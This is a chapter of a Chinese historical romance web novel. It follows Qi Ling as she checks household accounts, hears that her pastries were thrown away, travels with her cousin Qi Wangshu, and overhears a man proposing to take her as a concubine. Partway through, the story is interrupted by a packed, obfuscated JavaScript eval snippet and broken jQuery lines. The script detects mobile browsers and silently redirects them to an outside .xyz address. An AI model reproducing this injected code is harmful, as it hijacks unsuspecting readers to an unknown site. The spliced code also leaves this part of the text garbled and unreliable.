金乌西落几许，拉长屋檐的影儿，窗外竹影轻摇，时而有混着蝉鸣的燥热风从窗外卷进，又被冰的冷气吹散。


    祁泠睡醒时，没有寻常夏日午后醒时黏腻热意，衣衫轻贴在身上，略有凉意，浑身松泛，头压着的胳膊微微发木。


    她从小案上抬起脑袋，映入眼帘是清幽典雅的书房，思绪有一瞬的空白，后知后觉发现位置不对，未在辛夷阁中。


    她手中还攥着算筹，下意识看向身边，更小的案桌上笔墨乱放，一整卷竹简涂着飞舞的墨迹，下面坐着的垫子歪斜，空空荡荡，没了人影，霎时心中一惊。


    “云漪坐不住，我许她出去玩了。”祁清宴出声解释。


    从她睡醒的那刻，他便注意到了，将醒时她呼吸变得略急，睁眼坐起衣衫微响。


    祁泠嗯一声，刚睡醒的声音软糯带着点懵，转瞬又想起，她都不知道云漪出去，那该睡了多久，顿时向祁清宴解释道：“兄长，我突然困了，不知不觉睡了过去，账……”


    她低头看，见账本已经看到最后，其上几处描红。彻底清醒过来，记忆回笼，她算完本想同祁清宴讲，抬头看去，他揽袖持笔，似在回人书信，神情专注。


    她便噤了声，等着他忙完。


    本就几分困倦，身子乏，又算过帐，精神头也没了，她的头越垂越低，这才睡了过去。


    “帐对完了，除去字迹不清那处，其余几处错的地方，数目小，时多时少，合起来没差多少。”祁泠悄悄理了理面上与发髻，省得出丑，整理好了仪表，才扶着案旁站起身来，将账本送到祁清宴桌前。


    祁清宴检查着，算得比她快上许多，眉眼低垂。祁泠候在一旁，双手攥在一起，注意着他的表情，一时有被长辈检查功课的拘谨与紧张，直到听他道：“只缺了一点，时日久了，便罢了，不再追究。”


    祁泠的心才彻底放回肚子里，随着点头，又听他说：“不如再看几卷帐？等用过晚膳再回——”


    “不用。”祁泠急急道。她拒绝地太过干脆利落，祁清宴话还没说完，她回绝的话就落了音。


    惹得祁清宴抬眼望她。


    她被迫停顿一瞬，实在是不想再留下对账，心虚垂头，两只手揪在一处，慢吞吞道：“兄长，我还是回去温习一遍书本，熟悉熟悉，再来算吧。”


    祁清宴倒是笑了，“不必了，你底子不差，算成这般就可以了，不会被仆从糊弄就好，也不必事事亲力亲为。”


    祁泠顿时如蒙大赦，长长松了一口气，晚膳倒也不必等了，看日头不过申时，几人又都在老夫人房里用了午膳。午膳他倒是没吃几口，可他一直在忙，留饭大概是客套之词。


    她想明白后道：“兄长先忙，我回二房去便好了。”


    “可。”他合上竹简，只道一字。


    祁泠账本卷起来，一齐放好，连带着将祁云漪桌上也整理一番，随后放轻脚步，走出书房。


    她在门口没见到银盘，只有小沉弦坐在院中石凳上打盹。听见祁泠出来的声儿，沉弦睁眼，打了个哈欠，清醒过来上前道：“三娘子，青娥姐姐陪着小娘子去三房了，银盘本说要等娘子，后来也不知跑去哪儿了。”


    银盘就是闲不下来，往日在二房空闲时都去寻旁的婆子丫鬟一处说话，如今在不熟的琅玕院能呆得久才怪。她笑着说：“没事的，我回去路上寻寻她，要是错过了，没遇到，她回这来儿，你与她说一声我走了就好。”


    沉弦点点头，想起来什么又摇了摇头，“我送娘子回去吧，怎能让娘子自己回去。”


    祁府守卫森严，她又不出去，只过道小门，又有何不能自己走的。不过祁泠看他一片天真又神情认真，便让他跟着一同走了。


    琅玕院离老夫人的院子近，再往前面去是三房，东边是大夫人的居所。


    沉弦说着送祁泠回去当真就是送祁泠回去，闷着头跟在祁泠身后。两人方走出竹林，迎面看见从东边小路上走来一位侍女，一身水蓝裙子，正是碧若。


    三人同走一路，碧若俯身侧行了礼，面上没甚么表情，“三娘子安。”


    祁泠应了，让她起身，就此相安无事。


    可她身旁的沉弦没得碧若的好脸色，碧若朝他冷嗤一声，带着气走了。


    弄得祁泠纳闷，偏头过去看了看沉弦，不明白碧若是冲着她，还是两人私下里起了什么龌龊。


    沉弦人小也不是没有脾气，撇嘴，几分窝囊赌气，“娘子莫要理会她，碧若姐姐是与我置气。她被郎君罚了三月月例，这月又不许她上前侍奉，气我占了她的位置，才来生我的气。”


    祁泠猜：“那也不至于将气都撒在你身上，她受罚与你有关，也与我有干系？看到你在我身边，才更生气了？”


    沉弦顺着道：“娘子之前送来的糕点，郎君有一次没要，以后的全被她扔了。我告诉郎君，郎君罚了她，她没人可迁怒，就生起我的气来。”


    祁泠一愣。


    沉弦意识到不对，连忙摇头解释，“娘子莫要误会，郎君只那几次没要，此后都收下了。只可惜那些不知去向的糕点……”


    听到自己亲手做的东西被扔了几次，祁泠难免有些不舒服，心头涌上几分失落来。仔细想想，糕点确实不是贵重的东西，祁府有名的厨娘不知多少，总比她这个半吊子做出来好的。


    老夫人和姑母夸她，哪一个又真缺这口吃的，不过是借此让她在府中立足而已。祁清宴常在外面，更不缺了。


    可总归是她亲手做的，一份心意被轻贱也令人难受。此后记着，少送些便好了，不一定每次口味都得人喜欢。


    祁泠打定主意，便不再去想，将失落掀过去，看沉弦实打实惋惜的样子，她道：“今早我给漪漪蒸了些蜂蜜豆糕，又甜又软，容易克化，还剩下些，你可要尝尝？”


    沉弦到底年岁小，立刻被转移了心神，“这……这不好吧……”嘴巴却不受控制地吧嗒几下，祁泠笑起来：“走吧，同是小孩子，漪漪喜欢吃，你也应该喜欢。”


    沉弦顿时欢欢喜喜地跟着祁泠去了二房。他是琅玕院的人，又是个小孩儿，辛夷阁的丫鬟婆子都怕怠慢了他。


    他吃了几块糕点，二房到了晚膳的时辰，他又吃了些厨房的菜，虽然和琅玕院平日吃得差不多，但一个房一个口味，尝尝鲜也不错。


    临走时，他又被婆子塞了一把甜果子，边走边吃，还剩下些揣在怀里，小肚子鼓鼓的回了琅玕院。


    琅玕院还未用膳，他走进院，被忙碌着的青娥一把逮到，“作甚么去了？好一会儿不见你人影，郎君要谢郎君前些日送来的画。是你放的，没人知道，郎君自己还在找呢。”


    沉弦闻言来不及没回答，忙跑进书房去，祁清宴正站在书架前寻着东西，他擦了把汗上前去。


    祁清宴停住动作，端详着沉弦，问：“你去二房了？”


    “嗯！郎君，我送三娘子回去，二房用晚膳，三娘子顺道留我一起吃。”


    祁清宴面无表情，冷冷的，“留你吃饭你就答应？白长了嘴不会拒绝的么。将东西找出来，明日随我去燕府一趟。”


    沉弦莫名其妙被斥了一顿，可到底是他回来晚了，祁清宴说完就走，只留他抱着刚找出来的画，不停琢磨。


    难不成郎君不喜欢琅玕院的人与其他院子的人走得太近？


    可他又不会瞎说话。


    ……


    祁泠用过晚膳，去冯夫人的院中请了安。祁云漪玩疯了，还没回来。


    银盘晚膳前就回来了，祁泠带着她去三房找祁云漪，顺便同祁望舒商量一同去庄子的事。


    老夫人思虑周全，若是邀祁云漱一同，少不得还要因厚此薄彼起纷争，祁望舒便不同了。


    祁望舒人淡淡的，对此不在乎，听后没有埋怨老夫人为何从将庄子拿出来，反倒真心为祁泠高兴，细细同她说着如何管庄子。


    听祁泠去琅玕院学管账，又说她也是会看账本的，祁泠有不会的日后只管来寻她。


    祁泠也觉得好。


    姐妹俩说话到底比在琅玕院方便一些，祁望舒与祁既白两个亲兄妹尚有避嫌，她也不能总去琅玕院。


    祁泠深以为然，此后常寻祁望舒去，这是后话。


    祁望舒果同老夫人说的那样不喜出去。但祁泠来劝，她想着祁泠从没独自出过建业，最终还是应了。


    这边说好了，两姐妹又派人去问祁清宴何时有空，最终将日子拖到了半月后。


    等到出门日，冯夫人将祁泠唤到近处，细细嘱咐过：“出门在外，不比江州，建业到处皇亲国戚权贵子弟。你如今婚事未定，需要小心，但又不能畏畏缩缩，躲在人后。婚事由你祖母做主，想来是差不了的，你自己也要相看着。我给你带去三百两，你与望舒在外面玩，添几个喜欢的首饰摆件回来。”


    祁云漪托腮在旁边听着，笑嘻嘻的，“姐姐别忘了带好吃的回来。”


    祁泠摸了摸祁云漪的小脑袋，自是答应。她原打算也带祁云漪一起，可冯夫人说她好不容易出门一趟，带着小孩子吵吵闹闹，一去几日不得安宁。


    祁泠与冯夫人道别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623279|171632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后，到马车上时，祁望舒已经在了。庄子远，少不得要做小半日的马车，两人各带一贴身侍女。


    祁泠带着银盘，祁望舒身边的侍女名瑞音。


    老夫人也放心不下，拨了二十护卫和四个嬷嬷来，跟在后面。祁清宴也会与两人一同前去，不过昨日说有事在身，会在路上迎她们。


    马车上备了些糕点果脯茶水，又铺了厚厚的垫子，也不颠簸，祁泠和祁望舒两个在一处，互相作伴，也不烦闷。


    走出半个多时辰，车夫道将至城门，马车速度放慢，排队过了城门，却忽而停下，内里四人都稳了稳身形，险些摔倒。


    祁望舒身边的瑞音掀帘出去看发生何事，片刻回来禀报：“两位娘子，是皇家的马车，五皇子妃探亲回来，现下周围的车马行人全停下避让，让其先行。”


    祁泠对建业中各家关系还不熟，祁望舒蹙眉，吩咐道：“咱们也让着她便是了，叫车夫走偏些，在一旁候着，等着人过去再动。”瑞音应是，掀帘出去吩咐。


    祁望舒在祁泠身旁，压低眉眼，和她道：“五皇子出身孟氏，极喜摆架子。她刚生了女儿，应回本家探亲回来。”


    没消停一会儿，便有凌厉的声音响起，“是哪家的女儿，见了贵人，还不出来拜见。”


    祁望舒望祁泠一眼，满是无奈，又告诉她无事，跟着她便好了。两人依次下了马车，祁望舒道：“娘娘金安，臣女是祁家女，带妹妹出城，恐惊扰娘娘贵体，故未上前。”


    路中央立着的马车极宽，两匹马拉着，周身红木，车辕各处用鎏金片裹着，车檐四角悬着宫铃。车周跟着浩浩荡荡的皇家侍卫。


    金线绣满日月星辰的马车帘子被一只涂满蔻丹的手掀起，露出一张贵妇人的芙蓉面来，勾着胭脂的眼眯起，打量着对面立着的两位貌美娘子。


    孟氏耳旁有侍女道：“前头的是祁观岚的长女，与太常卿的长子定亲，后面的……刚回建业，退了卢家的婚，未有婚约。”


    孟氏的目光便多留在祁泠面上，轻蔑又傲慢，许久才慢悠悠道：“原是祁家的妹妹们，女儿家年幼，不知礼节，今日便罢了。”


    待皇家的马车辚辚走过。祁泠和祁望舒才重新回到马车上，这一折腾，两人身上都晒出汗来。


    祁望舒接过瑞音递来的帕子，擦着手上的汗，道：“外头总有这样的人，装腔作势，我才不喜出来，应付他们。”


    “姐姐可曾见过五皇子妃？”祁泠用打湿的帕子擦着脸，问道。


    祁望舒抿抿唇，“见过她几次。她从前出身不高，嫁人后尊贵起来，喜仗势凌人。又有些恶毒，皇子府内的嫔妾不知被她弄死多少。我们不与她作对，任由她折腾一通罢了。下车拜见，她必定避而不见，不去又来挑理。也罢了，这几年咱们的日子没有之前好过，虽然怄气，可到底是皇族，不得已之前，只好忍着让着，母亲是这般说的。”


    祁泠记下，日后再遇见时避让就好了。


    走出城门，不远处亭处有几位贵族子弟。祁家侍从认出自家主子，连忙禀过两名娘子，上前汇合。


    祁望舒掀开马车帘子，祁泠也随之望去。


    祁清宴正与一位红衣锦袍郎君言语，那郎君眉眼风流，笑了几声，斜望过马车这边来，祁清宴也随着看，像是介绍了两句。


    祁望舒放下帘子，转而看向祁泠，看着便单纯可欺。她很不放心，便与祁泠道：“泠妹妹，那是谢子青，三哥的好友。他家世高，生的相貌好，又会哄人，若要来勾你，莫听信他言辞。他家里姬妾不少，又定了门当户对的正妻，哄骗女子厮混，没有半点真心。”


    祁泠郑重点头，这类郎君原也不是她的中意。


    连着走了两个时辰，遇到一家客栈，既有可以歇脚的地方，又看得过去，一行人便停下用些吃食，歇息一番。


    祁清宴几人先下马，进了客栈。


    祁望舒带着祁泠整理一番衣裙，晚去片刻，店内小二告诉郎君们要了间上房，给她们指了位置。


    即遇见了，也少不得礼数。祁望舒识得人，打算带着祁泠去问好。


    走到拐弯处，厢房门未关严，有陌生男声传出。


    “三郎，我打听到了，那是你二叔的养女，不是亲生的女儿。咱们两家虽结不得正经姻缘，但再加上一层亲岂不美哉？”


    祁泠脚步停住，她无意听人闲谈，没想到偶然听到她自己。也知晓她的出身到底是差，应了祁望舒的话，祁清宴友人欲讨她为妾。


    内里只寂静了几息，便响起祁清宴的声音。